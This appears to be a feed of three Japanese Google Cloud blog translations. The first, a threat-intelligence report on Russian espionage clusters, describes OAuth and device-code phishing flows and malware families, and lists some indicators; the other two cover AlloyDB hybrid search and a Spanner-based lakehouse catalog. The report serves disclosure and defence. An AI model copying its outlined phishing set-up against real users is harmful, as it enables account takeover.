• 2026 年 4 月には、このブログで以前に取り上げた GLOBSEC を装った Microsoft デバイスコードのフィッシング攻撃で使用されたドメイン my-invite[.]org が、IP 104.194.159[.]150 に解決されていました。

この攻撃者は、他の活動でも Microsoft のサービスになりすましたドメインを使用していました。2026 年 4 月下旬に攻撃者が管理し、Microsoft を偽装していたドメイン（statistic-ms[.]live）は、Google が ENGINELIGHT と呼ぶ Go 言語のマルウェアの C2 として UNC7005 によって使用されていました。このマルウェアは、2026 年 5 月上旬に実施された限定的なフィッシング攻撃において、攻撃者が管理するアカウント（bounce@chamber-ua.org）から、WhatsApp を偽装したドメイン（wa-connect[.]eu）とともに送信されました。また、statistic-ms[.]live の登録に使用された攻撃者のメールアドレス（keyereaonkendrick4@gmail.com）は、2026 年 5 月下旬に報告された MaaS 活動でも使用されていました。

さらに、UNC7005 が実施したキャンペーンで使用されたツールと、キャプティブ ポータル攻撃で展開されたと報告されているツールとの間にも重複が確認されています。CHERRYPIE（別名 ChocoShell）という PowerShell ベースの情報窃取型マルウェアのサンプルには、大規模言語モデル（LLM）によって生成されたことを示唆する痕跡が多数含まれています。コード内には機能に関する詳細なコメントが多数記述されており、情報窃取型マルウェアの情報や、バイナリ内にその機能が実装されていることを示す特定の関数オフセットについて言及されています。GTIG は、この脅威アクターが攻撃活動において MaaS を活用していることや、標的とするデータの種類に一貫性があるなどマルウェア ファミリー間で機能的な重複があることを確認しています。こうした点から、CHERRYPIE は MaaS 事業者から購入した情報窃取型マルウェアをベースにしている可能性があると推測されます。

UNC5976

GTIG は 2026 年 3 月、認証関連の活動を主とするロシアのサイバー エスピオナージ クラスタ「UNC5976」による OAuth 関連の活動の追跡を開始しました。このクラスタは UNC6293 や UNC7005 とは異なる存在であると考えられます。

UNC5976 の活動における主な特徴の一つは、OAuth フィッシングの手法を使用し、クラウド インフラストラクチャを悪用してトークン収集を自動化していたことです。このような OAuth フィッシング キャンペーンを実行するため、UNC5976 は（通常はファイル共有に関連する名称の）ドメインを購入し、そのドメインに紐づけられたクラウド プロジェクトを作成していました。これらのドメインでは、偽のファイル共有ページがホストされています。標的がページを訪問して数秒後に、ポップアップ形式のログイン ダイアログが表示される仕組みになっていました。

標的が [Continue with Google] のリンクをクリックすると、正規の Google OAuth ログインページに移動し、続行するためにログインするよう求められます。

認証後、標的は Google Cloud プロジェクトの URL にリダイレクトされました。このクラウド プロジェクトは、URL から認証トークンを取得して保存し、後ほど攻撃者がそれを回収できるようにする悪意のあるスクリプトをホストしていました。

GTIG による最初の発見と活動の妨害から約 3 か月の間に、UNC5976 は少なくとも 12 個の新規ドメインと関連インフラストラクチャを作成しました。これを受けて、GTIG は当該クラウド プロジェクトを無効化し、フィッシング活動を阻止する措置を講じました。現在 GTIG は、UNC5976 がフィッシング用インフラストラクチャの一部を運用する環境を、Google のインフラストラクチャから他のプロバイダへと移行させていると評価しています。

こうしたフィッシング ページに加え、UNC5976 が「HEADRUSH」と命名した悪意のある Excel プラグインを悪用していることも確認されています。2026 年 4 月、GTIG は HEADRUSH のサンプル（ハッシュ値: 2c7f4165967d6f7737b3fef87959846920b57a5368b531ad1427c7214d4c41a2）を確認しましたが、これは最終的に HTML アプリケーション（HTA）形式のダウンローダーへとつながるものでした。UNC5976 は、ウクライナの研究機関を装ったドメインを使用してこのマルウェアを配布しており、ウクライナの航空宇宙および画像処理企業を標的にしていた可能性があります。残念ながら現時点で GTIG は、感染チェーンの全容を特定するには至っていません。

アトリビューション

GTIG は、標的選定の傾向、フィッシングのテーマ、および共通する攻撃手法に基づき、UNC6293、UNC7005、UNC5976 という 3 つの脅威クラスタにロシアが関与していると高い確信を持って評価しています。これらの攻撃活動は一見すると独立しているように見えますが、UNC6293 や UNC7005 が使う主要な TTP（戦術、技術、手順）の一部は、2021 年から 2024 年にかけて確認された、ICE RELIC による過去のフィッシング攻撃活動（いずれも同グループへの関与が特定済み）と共通する特徴を示しています。

ICE RELIC、UNC6293、UNC7005

GTIG は、UNC6293 および UNC7005 が、初期アクセス活動に関連付けられる ICE RELIC のサブクラスタと関連していることを、中程度の確信度で評価しています。このように、UNC6293 と UNC7005 は活動手法を共有していますが、運用するインフラストラクチャは異なり、OPSEC（作戦上のセキュリティ）に関する許容基準も異なります。

• 過去の ICE RELIC によるフィッシング活動と、現在の UNC6293 および UNC7005 によるキャンペーンとの間には、標的とする業界（学術機関、NGO、外交、防衛）や地理的地域において、大きな重複が見られます。

• これらのグループは、外交イベントへの招待やワインに関する具体的な言及など、ICE RELIC の活動において以前から確認されている特定のレガシーな口実を引き続き使用しています。

• いずれのグループも、侵害後の活動において、商用の住宅用プロキシを多用しています。

独自性はあるが注目に値する: UNC5976

UNC5976 は UNC6293 や UNC7005 のクラスタとは一線を画しており、これは戦略的任務の違いや、ロシアの他の諜報機関との連携の可能性を反映している可能性があります。

• その活動は主に、軍、航空宇宙、防衛産業、NGO やシンクタンクを標的としています。地理的な標的としては、ウクライナやアルメニアが中心となっています。

• UNC5976 は、侵害後の活動において、住宅用プロキシではなく専用のインフラストラクチャを使用します。

• UNC5976 は OAuth を利用した活動も行っていますが、ICE RELIC に関連するクラスタと比較して、マルウェアやツール使用の痕跡がはるかに顕著です。

修復とセキュリティ強化

Google は、ユーザーの安全を最優先に考えています。Google は、悪意ある活動に関与していることが判明したアカウントを積極的に無効化し、可能な場合は被害者のアカウントを保護して、不正使用されたアカウントへのアクセスを遮断する措置を講じます。また、こうした活動において悪意あるコンテンツのホスティングに使用されたインフラストラクチャに対しても対策を講じています。不審なウェブサイトに関する警告が表示された場合は、アクセスを続行しないことを強くおすすめします。ウェブサイトで認証情報を入力する前、または認証を行う前に、ブラウザの URL を確認してください。見知らぬ相手からの招待については、その招待メッセージ以外の手段で連絡先を確認し、公式の主催者に直接問い合わせて招待の正当性を確かめるようにしてください。メールやメッセンジャー アプリを通じた連絡が、一見正当な人物からのものに見える場合でも、その人物になりすましている可能性があることを考慮してください。

アプリ パスワードの使用は推奨されておらず、多くの場合、必要ありません。アプリ パスワードは、アカウントや本人確認を行うためのものではありません。アプリ パスワードを他のユーザーと共有しないでください。紛失、盗難、または使用されなくなったデバイスに関連付けられている古いアプリ パスワードは、取り消すことをおすすめします。キャンペーンに関連するアプリ パスワードを設定した可能性がある場合は、こちらの手順に沿って、できるだけ早くアカウントからアプリ パスワードを削除してください。アプリ パスワードはいつでも削除できます。

特定の状況において、ユーザーを欺くようなアプリからユーザーを保護するため、機密性の高い権限スコープを必要とする「未検証」かつ「テストモード」のクラウド プロジェクトについては、OAuth 同意画面を表示する前に「未確認のアプリ」という警告画面が表示されます。

リスクの高いユーザーは、Google の高度な保護機能プログラム（APP）など、強化されたセキュリティ リソースの利用を検討すべきです。APP に参加すると、セキュリティ要件が厳しくなり、アカウントでアプリ パスワードを作成できなくなります。Google Cloud をご利用中の企業のお客様は、2 段階認証プロセスを「セキュリティ キーのみ」に制限するか、ユーザーを高度な保護機能プログラムに登録することで、アプリ固有のパスワードを無効にできます。

脅威アクターは、被害者の個人用メッセージ アプリケーションを標的とし、デバイスのリンクを悪用した攻撃を絶えず仕掛けています。こうしたアプリケーションを利用している組織やリスクの高い個人は、以下の対策を講じて防御を強化し続ける必要があります。

• 盗用された SMS 認証コードによる不正なアカウント登録を防ぐため、可能な限り登録ロックや 2 要素認証を適用する

• 会社所有デバイスと個人用デバイスの両方について、「リンク済みデバイス」の定期的なデバイス監査チェックを確立する

• 安全番号 / コードを活用して、プラットフォーム外の通信チャネルを介してユーザーを検証する

見通しと影響

認証を標的としたロシアによるサイバー エスピオナージ活動は、アプリ パスワードからデバイスのリンクに至るまで、正規の機能やインフラストラクチャを悪用して多岐にわたる認証方式を標的にしています。特に、正規の機能を巧みに悪用してアカウントを侵害するため、正規のアカウント アクセスと悪意のあるアカウント アクセスを追跡することがより困難になっています。これらのグループが標的とするのは、企業のドメインに参加しているアカウントではなく個人アカウントであることが多いため、組織の視点からは侵害のモニタリングにおいて可視性の空白が生じてしまいます。また、最初の連絡手段としてメールではなく暗号化されたメッセンジャー アプリケーションが使用される可能性が高いことも、悪用を追跡して対処しようとする防御側にとって課題となります。こうした戦術の組み合わせにより、攻撃者は迅速なデータ窃取を実行できるだけでなく、侵害した正規アカウントを悪用して、関心のある標的に対してさらなるフィッシング攻撃を仕掛ける機会も得ることになります。

このような脅威アクターが採用している戦術は、その活動の実態を曖昧にし、アトリビューション（攻撃者の特定）をより困難にしています。GTIG では現在、以前の分析時よりも多くの UNC6293 管理下のインフラストラクチャを追跡していますが、同グループが使用するインフラストラクチャの規模は、他のロシアのエスピオナージ活動と比較すると依然として限定的です。UNC7005 が MaaS や LLM を活用してマルウェアの運用を可能にしていることも、こうした活動が、アトリビューションや対策の実施が困難な「グレーゾーン」へと押しやられる原因となっています。また、こうした手法の採用により、攻撃に必要なツールの開発やステージングにかかる時間も短縮され、カスタムツールを使用した迅速な攻撃の遂行を可能にしています。

ロシア政府の支援を受けた攻撃者によるこうした手口の変化を受け、標的とされる業界に従事する個人は、一見すると馴染みがある、あるいは正当なものに見える場合でも、身元が確認されていない人物や組織からの接触に対しては、引き続き警戒を怠らないようにする必要があります。

謝辞

このような活動の一部を追跡して阻止するうえでご協力いただいた業界のパートナー各社の皆様、特に Anthropic 社、Lumen Technologies 社傘下の Black Lotus Labs、Microsoft Threat Intelligence Center（MSTIC）、ポーランド軍防諜局（SKW）、WhatsApp の皆様に感謝申し上げます。

セキュリティ侵害インジケーター（IoC）

このブログ投稿で概要を解説した活動の捕捉および特定において、より幅広いコミュニティの皆様を支援するため、登録ユーザー向けに GTI コレクションにおいてセキュリティ侵害インジケーター（IOC）を提供しています。

ネットワーク インジケーター

表 1: ネットワーク インジケーター

ファイル インジケーター

表 2: ファイル インジケーター

Google Security Operations（SecOps）

Enterprise Plus ライセンスをお持ちの Google Security Operations のお客様は、「Applied Threat Intelligence のキュレートされた優先度」ルールパックで、これらのルールをご利用いただけます。このブログ投稿で取り上げた攻撃活動は、Applied Threat Intelligence（ATI）アラートで検出できます。これらのアラートは、キュレーテッド検出に基づいて YARA-L ルールでコンテキスト化された IoC の一致を示すものです。このコンテキスト化には、Google SecOps のコンテキスト エンティティを通じて提供される Google の脅威インテリジェンスが活用されており、インテリジェンスに基づくアラートの優先順位付けが可能になります。

- Google Threat Intelligence Group

※この投稿は米国時間 2026 年 10 月 6 日に、Google Cloud blog に投稿されたものの抄訳です。

最新の AI アプリケーションや RAG アプリケーションで高い検索関連性を実現するには、少なくとも 2 つの手法を組み合わせる必要があります。それは、セマンティックなコンテキストを把握するためのベクトル検索と、キーワードの精度を高めるための全文検索（FTS）です。AlloyDB for PostgreSQL はこれら両方の機能に対応していますが、従来、これらの機能を管理して最高のパフォーマンスを確保するには、より多くの手作業を伴う運用アプローチが必要でした。

難しいのは、検索を実行することではなく、その検索結果を統合することです。ベクトルクエリ（距離スコア）と FTS クエリ（関連性スコア）の結果を統合するには、複雑な SQL クエリや、アプリケーション レイヤ側でのカスタムコードの実装が必要です。そのため多くの場合、結果の統合、スコアの正規化、再ランキングのための別システムを維持管理する手間が発生します。

この記事では、AlloyDB AI のハイブリッド検索がこの複雑さを解消する仕組みを詳しくご紹介します。最近のアップデートによって実現した、以下の機能を順に見ていきます。

• ハイブリッド検索の簡素化: 複雑な SQL クエリや複数ステップのアプリケーション ワークフローを、Reciprocal Rank Fusion（RRF）を活用した単一の高性能 SQL 関数に統合します。

• FTS のパフォーマンス最適化: 新しい RUM 拡張機能を使用して、単語の位置をインデックスに直接保存することで、低レイテンシの関連性ランキングと効率的なフレーズ マッチを実現します。

• 業界標準のランキングの活用: ネイティブにサポートされる新しい BM25 インデックスを利用して、キーワード ベースの優れたスコアリングをすぐに利用できます。

• 検索の汎用性の拡張: 新しい外部検索用の外部データラッパー（FDW）を使用して、AlloyDB 環境を離れることなく、Elasticsearch、OpenSearch、Solr などの特化型の外部クラスタに対してクエリを実行できます。

複数ステップのワークフローの問題

AlloyDB AI のネイティブ ソリューションが登場する前は、堅牢なハイブリッド検索の実現は非常に骨の折れる作業でした。特に、標準 SQL を使用してこのロジックをデータベース内で完結させようとするデベロッパーにとっては困難な課題でした。そうしたアプローチでは複数のステップからなるオーケストレーションが必要となりますが、2 つのソースを管理、維持するだけでも困難なうえ、ソースが追加されるとスケーリングが事実上不可能になります。具体的には、以下のような手順が必要でした。

1. ベクトル検索を実行する: ベクトル列またはベクトル インデックス（AlloyDB の場合は ScaNN インデックス）を使用してクエリを実行し、Top-K の検索結果を見つけてベクトルスコアを生成します。

2. FTS クエリを実行する: 汎用転置インデックス（GIN）を使用して Top-K の結果を検索するなどして、FTS クエリを実行します。

3. スコアを正規化する（脆弱なステップ）: 複雑な SQL ロジックやカスタム アプリケーション コードを記述して、両方の結果セットを共通のスケールにマッピングします。このロジックは、データの分布が変化すると破綻する恐れがあります。

4. クロスサービス結合と再ランキングを実行する: ベクトル検索に使用するシステムとは別のシステムで FTS 検索を行う場合は、アプリケーション メモリを使用してドキュメント ID に対し複雑な FULL OUTER JOIN を実行し、正規化されたスコアの加重合計を適用して、最後に結合された結果を並べ替えます。

このような分散型のアプローチは、スコアロジックの脆弱化、レイテンシの増加、運用負荷の上昇を招き、検索品質の維持作業が属人化してアプリケーション開発者に大きな負担がかかり続ける原因となっていました。

AlloyDB でハイブリッド検索アーキテクチャを簡素化

これを簡素化する鍵は、RRF を採用することです。RRF は本質的にランクベースであるため、スコア正規化という脆弱なステップをスマートに回避できます。RRF は次の 2 つの要素で構成されています。

1. 信頼できる唯一の情報源

複数のステップからなるフェッチと結合の処理を行う代わりに、1 つの SQL 関数を呼び出して、検索コンポーネントを宣言型の JSON 配列として渡します。

SQL

（注: 統合された ai.hybrid_search API は、2 つのコンポーネントだけに限定されるものではありません。また、新しい FDW を介して外部検索ソースをネイティブにサポートします。）

2. データベース ネイティブのオーケストレーション

hybrid_search() 関数は、ワークフロー全体を単一のクエリプランで実行するため、オーバーヘッドを最小限に抑えながらトランザクションの整合性を確保することができます。この関数は、以下の処理を行います。

• 動的な CTE 生成: この関数は動的 SQL を構築して、各コンポーネントの共通テーブル式（CTE）を作成します。各 CTE は、結果の順位（ROW_NUMBER()）の計算を担います。

• カーネルレベルでの融合: ランキングされたすべてのコンポーネントの結果が、ドキュメント ID に基づく FULL OUTER JOIN を使用して直ちに結合されます。

• 最終的な RRF スコア: 結合されたランクから、RRF の数式に基づいて最終的な統合スコアが算出されます。

このアプローチを採用することで、脆弱なスコア計算処理や、アプリケーション側での結合が不要になります。現在のランキング アルゴリズムは Reciprocal Rank Fusion（RRF）ですが、追加の結合オプションとランキング オプションを今後導入していく予定です。

結果: パフォーマンスと運用の簡素化

複雑な外部ワークフローからネイティブ SQL 関数への移行は、即座に目に見えるメリットをもたらします。

FTS のパフォーマンスを向上: RUM 拡張機能

AlloyDB AI の hybrid_search() 関数は、高パフォーマンスのベクトル検索と FTS を組み合わせることで、網羅的で関連性の高い検索結果を返すように設計されています。AlloyDB のネイティブ FTS 機能は、強力である一方、テキスト コンポーネントに標準の PostgreSQL GIN インデックスを使用しているため、高度なオペレーションではボトルネックになる可能性があります。

GIN インデックスの課題は、単語の出現位置の情報が保存されないことです。この制限があるため、以下のような処理を行う際はコストのかかるテーブル スキャンを実行して再分析せざるを得なくなります。

• 関連性ランキング: 単語の近接性と頻度に基づいて検索結果のスコアを計算する。

• フレーズ検索: 正確な語順を見つける。出現位置の情報が必要。

FTS のレイテンシを低減する RUM 拡張機能のご紹介

RUM 拡張機能は、GIN をベースにした強力なインデックス アクセス手法で、これらのパフォーマンスの課題を直接解決します。

• RUM の主な利点: GIN インデックス（単語 -> [docID] をマッピング）とは異なり、RUM インデックスは各単語の出現位置の情報をインデックス内に直接保存します（例: 単語 -> [(docID1, [pos])], ...）。

• パフォーマンス上のメリット: これにより、RUM はランキングやフレーズ照合などの複雑なオペレーションを主にインデックス自体の中で実行できるため、コストのかかるヒープスキャンを回避できます。RUM を使用することで、関連性ランキングが大幅に高速化され、フレーズ検索や近接検索も効率的に行えるようになります。

• ハイブリッド検索に最適: RUM は、ハイブリッド検索フレームワークにおいてベクトル検索（ScaNN など）を補完する極めて重要な要素です。GIN はレイテンシが発生するリスクがあるため、リアルタイムのハイブリッド処理にはあまり適していません。

RUM 拡張機能は、ランキング重視のアプリケーションや同時実行性の高い検索アプリケーションに最適です。単語の出現位置をインデックスに直接保存することで、ランキング処理中にテーブルページを再スキャンする必要がなくなり、並べ替え済みの結果を高速に返すことができます。ただし、インデックスの構築が遅くなり、ディスク使用量が増えるというトレードオフもあります。書き込み速度やストレージ密度よりも、高速なクエリと正確なランキングが優先されるワークロードであれば、RUM は投資する価値が十分にあります。

測定可能な成果とインテグレーション

RUM を採用すると、AlloyDB の FTS のパフォーマンスが直接的に向上します。単体の FTS クエリはもちろん、FTS クエリを含むハイブリッド検索のパフォーマンスも向上します。以下は、さまざまな BEIR データセットにおける、GIN と比較した RUM のパフォーマンス向上率を示した統計データです。

RUM は、検索とランキングに特化した <=> 距離演算子と統合されており、ハイブリッド検索の SQL 呼び出しで使用できるため、双方の長所を活かすことができます。次の Codelab では、ハイブリッド検索 UDF で RUM インデックスを構成して使用する方法を説明します。

BM25 インデックスの導入: 最新のランキング標準

Google はこのたび、CloudSQL と AlloyDB に BM25 インデックスをプレビュー版として導入し、pg_textsearch 拡張機能を通じて業界標準の関連性ランキングを利用できるようにしました。BM25 は、用語頻度飽和と文書長正規化を考慮した TF-IDF を使用して、キーワードベースの検索クエリの精度と品質を大幅に向上させます。AlloyDB AI 内のネイティブ BM25 インデックスを活用することで、導入してすぐに高いランキング精度を達成できます。外部の検索エンジンや複雑なカスタム スコアリング ロジックの実装が不要になり、完全一致の用語や重要なキーワードに高いスコアが自動的に割り当てられます。

外部検索: 外部データラッパーで汎用性を拡大

検索機能をさらに拡張するため、外部検索用の外部データラッパー（FDW）も AlloyDB AI に導入しました。これにより、Elasticsearch、OpenSearch、Solr をはじめとする特化型の外部クラスタに対する全文検索が可能になり、アーキテクチャ面で以下のような重要なメリットを得られます。

1. 最適化された検索: AlloyDB 環境を離れることなく、専用の検索バックエンドからランキング アルゴリズムと豊富な機能セットを活用できます。

2. 統合された SQL インターフェース: 高度な FTS クエリの表現力を維持したまま、標準の PostgreSQL SQL を使用して外部データを操作し、結合を実行して、結果を統合できます。

3. 優れたポータビリティ: 既存の検索インフラストラクチャをそのまま維持しながら、AlloyDB AI が提供するシンプルなハイブリッド アーキテクチャのメリットを享受できます。

以下の Codelab は、Elasticsearch と Solr のインテグレーションを使用したハイブリッド検索について説明する、エンドツーエンドのコードガイドです。

AI を活用した検索のための統合アーキテクチャ

最先端の検索における真の課題は、技術的そのものではなく、アーキテクチャの簡素化と長期にわたる運用の安定性を両立させることにあります。AlloyDB AI は、以下の 3 つのコア イノベーションを基盤とした統合プラットフォームによってこの問題を解決します。

1. ハイブリッド検索の簡素化: RRF を活用した AlloyDB AI のハイブリッド検索機能は、脆弱な複数ステップのアプリケーション ワークフローを、単一の高性能な SQL 呼び出しに変換します。このネイティブ実装により、複雑なスコア正規化やアプリケーション側での結合が不要になります。その結果、運用コストとエンジニアリング コストを大幅に削減しながら、一貫して正確で高速かつ関連性の高いハイブリッド検索結果を提供できます。

2. FTS パフォーマンスの最適化: ハイブリッド検索における FTS コンポーネントが多様なアプリケーション要件を満たせるよう、AlloyDB AI はさまざまな全文検索オプションを提供しています。RUM 拡張機能は、出現位置データをインデックスに直接保存することで、関連性ランキングの高速化と効率的なフレーズ検索を可能にし、低レイテンシなパフォーマンスを実現します。これは、高速なクエリが求められる場合に重要です。一方、BM25 インデックスは業界標準の関連性ランキングを提供するため、キーワード スコアリングの精度を優先する場合に推奨される選択肢です。検索レイテンシとランキング精度のどちらを重視するかによって使い分けることができます。

3. 外部検索による汎用性の向上: FDW を介した外部検索を追加することで、AlloyDB は Elasticsearch などの特化型の検索バックエンドとも連携できるようになります。これにより、使い慣れた PostgreSQL インターフェースはそのままに、特化型検索クラスタの大規模な処理能力と高度な検索機能を活用できます。これらの外部結果をハイブリッド検索フレームワークに直接統合することで、AlloyDB AI は、非常に大規模なテキスト リポジトリとベクトルベースのセマンティック分析情報を組み合わせることができます。

AlloyDB AI は、スコアリング、結合、再ランキングという複雑な処理をデータベース カーネル内に集約し、FTS を実現する 2 通りの方法（最適化された低レイテンシの内部 FTS に RUM を活用する、または特化型のスケーラブルなバックエンドに外部検索を活用する）を提供することで、堅牢で自己完結型の検索基盤を実現します。この 2 つの方法の共存が、ハイブリッド検索の実現を根本から支え、ワークロード、データ量、既存のインフラストラクチャに基づいて最適な方法を選択できる柔軟性をもたらします。これにより、検索アーキテクチャの優れたパフォーマンスとメンテナンス性の高さを信頼して、インテリジェントなアプリケーション機能の開発に集中できるようになります。

デモ動画のご紹介

AlloyDB が究極のハイブリッド検索エンジンと呼ばれる理由を、ぜひ動画でご確認ください。

AlloyDB での BM25 のサポートについての詳細をご覧ください。

ご利用にあたって

AI ワークロードのスピードと費用対効果を向上させる準備はできていますか？

• AlloyDB を初めてご利用の場合: 30 日間の無料トライアルで AlloyDB をお試しください。

• ハイブリッド検索を使ってみる: テキスト検索インデックスを設定し、ベクトル検索インデックスを選択します。インデックスを作成すると、さまざまなハイブリッド検索クエリ実行するためのサンプルを確認できます。

• 外部検索: AlloyDB に外部データラッパーと外部テーブルを作成し、Elasticsearch、Solr、OpenSearch から外部データをクエリします。

- データベース担当シニア プロダクト マネージャー Kumar Ramamurthy

- データベース担当ソフトウェア エンジニア Ricky Zhou

※この投稿は米国時間 2026 年 10 月 7 日に、Google Cloud blog に投稿されたものの抄訳です。

企業がレイクハウス アーキテクチャへとモダナイズを進めるなかで、Apache Iceberg などのオープン フォーマットに準拠した共有データ資産を作成し、複数のエンジンで使用できるようにするという動きが広がっています。このように、AI ネイティブなレイクハウスを構築すれば、データをセマンティックな知識に変換したり、プロアクティブにアクションを実行したりするなど、エージェントの規模での運用が可能となります。

レイクハウスの主要コンポーネントの一つはカタログであり、Apache Iceberg 環境では通常、Iceberg REST カタログがこれに該当します。Apache Iceberg カタログは、テーブル ポインタの維持や、アトミック コミットの処理といった役割を担うほか、テーブルの場所に関する信頼できる唯一の情報源となります。しかし、大規模なエンタープライズがレイクハウスへとモダナイズするにしたがって、スケーラビリティと可用性を備えたマネージド カタログがレイクハウス アーキテクチャの一部として必要であるという認識が生まれつつあります。エージェントによるクエリの量が増えるにつれて、この重要性はさらに増していきます。エージェントが繰り返し実行する大量の細かなクエリに対応するために、基盤のマネージド カタログには、アトミック性、整合性、可用性、同時実行性を大規模なスケールで提供する能力が求められます。

このブログ投稿では、エージェント規模へと広がる最新のクラウド環境においてマネージド カタログが直面する課題を考察するとともに、Google Cloud のサーバーレスの Lakehouse ランタイム カタログがこうした課題の解決にどのように役立つかについて説明します。Lakehouse ランタイム カタログは、Google Cloud の常時稼働データベースである Spanner（実質的に無制限で拡張可能）を基盤とし、オープンな Apache Iceberg REST カタログ仕様に準拠しています。これにより、エージェントの時代に必要なスケーラビリティと可用性を提供する基盤となります。

レイクハウスのマネージド カタログが直面する課題

データ エンジニアやインフラストラクチャ責任者の方々に話を伺うと、レイクハウスで大規模に本番環境の分析を行うことに関して、以下のような共通した課題を抱えています。これらはすべて、マネージド カタログにおいて解決すべきものです。

アトミック コミットと同時実行制御: Iceberg は、オプティミスティック同時実行制御（OCC）により、ACID トランザクションを保証しています。したがって、マネージド カタログに強固なアトミック比較交換（CAS）オペレーションを実装し、現在のメタデータ ポインタをスワップする必要があります。

高可用性と運用保守: カタログがダウンすると、クエリはその瞬間からエラーとなります。そのため、マネージド カタログは最重要な Tier-1 サービスに位置付けられます。

カタログを支えるデータベースのスケーリング: カタログの設計者は往々にして、テーブルのメタデータおよび状態の保存用データベースの選択において、難しいジレンマに陥ります。従来のスケールアップ型のリレーショナル データベースは SQL に対応しており、ACID トランザクションを提供しますが、読み取り / 書き込みの同時実行処理が増えると、CPU、メモリ、ストレージ、接続数が垂直方向の限界に達します。これを回避するには、手動でのシャーディングが必要となりますが、その場合は、運用上のオーバーヘッドが膨大になります。一方、スケールアウト型のデータベース システムは、即時整合性が得られない、管理が困難、エンタープライズに対応できない、といった問題があります。

テーブルのメンテナンス作業: カタログは、データの最適化まではしてくれません。人間の担当者が、データの圧縮、古いスナップショットの消去、マニフェストの書き換え、孤立ファイルのクリーンアップといった補助パイプラインを構築して運用する必要があります。

ガバナンスとセキュリティ: カタログは、セキュリティの門番として、以下を実装して維持することが求められます。

• 認証プロトコル（OAuth2 トークン交換、IAM 連携など）

• 名前空間からテーブルレベルまでのアクセス制御

• 一時的なストレージ認証情報（例: クエリエンジンに対して、広範なストレージに直接アクセスできる認証情報ではなく、有効期間の短いトークンを生成する）

Lakehouse ランタイム カタログ

これらの課題を解決するために、Google は Iceberg REST カタログをサポートする Lakehouse ランタイム カタログ（一般提供）を構築しました。Lakehouse ランタイム カタログは、高可用性を備えた完全にサーバーレスな統合メタデータ レジストリであり、Apache Iceberg などの最新のオープンなテーブル フォーマットをサポートするようにゼロから設計されています。 Lakehouse ランタイム カタログでは、Apache Iceberg REST カタログ仕様をネイティブに実装することで、メタデータ検出をコンピューティング エンジンから分離しています。これにより、複数の Iceberg 互換エンジンが共有データ資産にアクセスできるようになり、ワークロードを迅速に本番環境に移すことが可能となります。Google はすでに、多くのお客様がマネージド カタログの移行をスムーズに行えるよう支援してきました。たとえば、Etsy は Lakehouse ランタイム カタログへと移行し、データを動かさずに結合することで、パイプライン クエリを 60% 高速化しています。

このアプローチには、アーキテクチャ上のメリットが以下のように多数あります。

• オープン API: Iceberg REST カタログがサポートされているため、ユーザーは単一の統合データセットに対してさまざまな分析ツールを自由に使用できます。

• マルチエンジンの相互運用性: 登録されたテーブルは、標準の REST インターフェースを介して、Google Cloud Managed Service for Apache Spark、BigQuery、オープンソース エンジンで即座に検出やクエリが可能になります。

•  Iceberg テーブルの読み取り / 書き込みの相互運用性: BigQuery、Managed Spark などの Iceberg 互換エンジンを使用して、Lakehouse ランタイム カタログに登録されている Iceberg テーブルに書き込めます。また、Managed Spark を使用して、外部カタログの Iceberg テーブルに書き込むこともできます。

• エンタープライズ グレードの機能を備えたフルマネージドの Iceberg ストレージ: Google 独自のインフラストラクチャを使用し、Iceberg テーブルでパフォーマンスの高い分析を実行できます。これにより、オープンソースの柔軟性に加え、パフォーマンス、スケーリング、ガバナンス、マルチモーダル処理のメリットが得られます。

• データコピー不要: テーブル定義は、基盤となるオブジェクト ストアの既存データを直接参照します。基盤となるデータの移動、書き換え、複製を行う必要はありません。

• クラウド間の双方向のカタログ連携: 一時的な認証情報と OIDC トークン交換がサポートされており、Databricks Unity、Snowflake Horizon、AWS Glue のデータにアクセスできます。これにより、Google AI を AWS や Azure のデータに直接適用することが可能です。

• 一時的な認証情報によるセキュアなアクセス: カタログは複数の認可メカニズムに対応しており、一時的な認証情報とエンドユーザー認証情報のいずれかを選択できます。そのため、一時的な認証情報などの最新方式を使って、基盤となるオブジェクト ストア（Cloud Storage、AWS S3、Azure Blob Storage）内のファイルに直接アクセスすることなく、テーブルにアクセスすることが可能です。

• AI を活用したコンテキストとガバナンス: Lakehouse ランタイム カタログは、Knowledge Catalog および Cloud IAM と直接統合されているため、エージェント用の信頼できるコンテキストを定義したり、すべてのコンピューティング エンジンにテーブルレベルのセキュリティを一貫して適用したりできます。また、カタログ内の Iceberg テーブルの検索や、リネージや分析情報の取得にあらかじめ対応しています。

• アトミック コミットによる同時実行制御、高可用性、スケーラビリティ: Google の地球規模のインフラストラクチャと Spanner を基盤としたアーキテクチャによって、データに合わせてメタデータをスケールするために必要な高可用性、同時実行性、スケーラビリティが得られます。たとえば、Cloud Storage のデュアル リージョン バケットとマルチリージョン バケットのサポートにより、フェイルオーバーのユースケースに対応できます。また、サーバーレスな NoOps 環境によって TCO 削減につながるほか、あらゆるサイズのワークロードに対応可能なスケーラビリティを得られます。

Lakehouse ランタイム カタログの原動力

Lakehouse ランタイム カタログは Spanner 上に構築されているため、高可用性、同時実行性、スケーラビリティに優れているのに加えて、強整合性が保証されています。従来のスケールアップ型のリレーショナル データベースが、単一ノード内で垂直方向の限界に達するのに対し、Spanner は、読み取りと書き込みの両方で水平方向にスケールアウトできるという NoSQL システムならではの柔軟性に加え、完全なリレーショナル SQL のセマンティクス、複数テーブルでの ACID トランザクションというメリットを提供します。

Spanner のリージョン構成では最大 99.99% の可用性が得られ、Lakehouse ランタイム カタログにおいて高可用性を実現できます。さらに、Spanner が自動的なスケーラビリティを Lakehouse ランタイム カタログに提供します。Spanner は水平方向にスケーラブルなデータベースであるため、手動でのシェーディングは必要なく、コンピューティングおよびストレージのリソースが自動的かつ透過的にスケールされます。具体的には、Spanner がデータ量とクエリ負荷を動的にモニタリングし、データ範囲を分割して、ノード間で再分配します。コンピューティング ノードは、CPU 使用率とストレージのしきい値に基づいて、動的にスケールされます。また、スプリット レベルで過負荷を自動検出し、過負荷状態のノードから重いスプリットを移動します。また、Spanner によって、「リレーショナルの整合性」と「分散によるスケーラビリティ」の間の従来のトレードオフが解消され、Lakehouse ランタイム カタログのユーザーは業界最高水準の整合性保証を享受できます。Lakehouse のトランザクションはシリアル化されており、データベース内のトランザクションの順序は、クライアント側でトランザクションのコミットが観察される順序と一致します。この基盤によって、Lakehouse ユーザーは、エージェント規模での運用を実現できます。

